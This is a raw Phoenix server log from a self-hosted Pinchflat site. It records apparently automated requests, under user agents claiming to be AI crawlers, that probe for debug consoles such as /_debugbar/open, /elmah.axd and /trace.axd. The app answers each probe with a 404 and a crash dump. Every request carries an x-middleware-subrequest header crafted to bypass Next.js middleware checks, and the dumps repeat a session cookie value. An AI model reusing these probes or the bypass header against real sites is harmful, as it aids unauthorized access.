{:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29926.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/health-check", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35062}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_ignition/health-check (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29926.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/health-check", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35062}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: (truncated) 16:49:11.168 [info] GET /_debugbar/open 16:49:11.168 [info] GET /__debug__/ 16:49:11.168 [debug] QUERY OK source="settings" db=0.0ms idle=72.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.168 [debug] QUERY OK source="settings" db=0.0ms idle=21.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.168 [debug] QUERY OK source="settings" db=0.0ms idle=20.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.168 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.168 [debug] QUERY OK source="settings" db=0.2ms idle=20.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.168 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.169 [error] #PID<0.29931.0> running PinchflatWeb.Endpoint (connection #PID<0.29930.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__debug__/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__debug__ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__debug__/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35068}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29931.0>, params: %{}, path_info: ["__debug__"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/__debug__/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61owwc2N6lgwAAIND"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__debug__/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35068}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__debug__ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29930.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__debug__/", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35068}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: fal (truncated) 16:49:11.169 [error] #PID<0.29929.0> running PinchflatWeb.Endpoint (connection #PID<0.29928.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_debugbar/open ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_debugbar/open (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29928.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_debugbar/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35066}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29929.0>, params: %{}, path_info: ["_debugbar", "open"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/_debugbar/open", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ows6MZqfKMABwyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29928.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_debugbar/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35066}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_debugbar/open (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29928.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_debugbar/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35066}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefi (truncated) 16:49:11.197 [info] GET /elmah.axd 16:49:11.197 [debug] QUERY OK source="settings" db=0.0ms idle=48.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.197 [debug] QUERY OK source="settings" db=0.0ms idle=28.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.197 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.197 [error] #PID<0.29933.0> running PinchflatWeb.Endpoint (connection #PID<0.29932.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /elmah.axd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /elmah (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29932.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/elmah.axd", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35074}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29933.0>, params: %{}, path_info: ["elmah"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/elmah.axd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61o3oG0EnMt8ABMaC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29932.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/elmah.axd", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35074}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /elmah (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29932.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/elmah.axd", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35074}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_p (truncated) 16:49:11.249 [info] GET /trace.axd 16:49:11.249 [debug] QUERY OK source="settings" db=0.0ms idle=80.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.249 [debug] QUERY OK source="settings" db=0.0ms idle=81.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:11.249 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:11.250 [error] #PID<0.29935.0> running PinchflatWeb.Endpoint (connection #PID<0.29934.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /trace.axd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /trace (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29934.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/trace.axd", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 35084}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 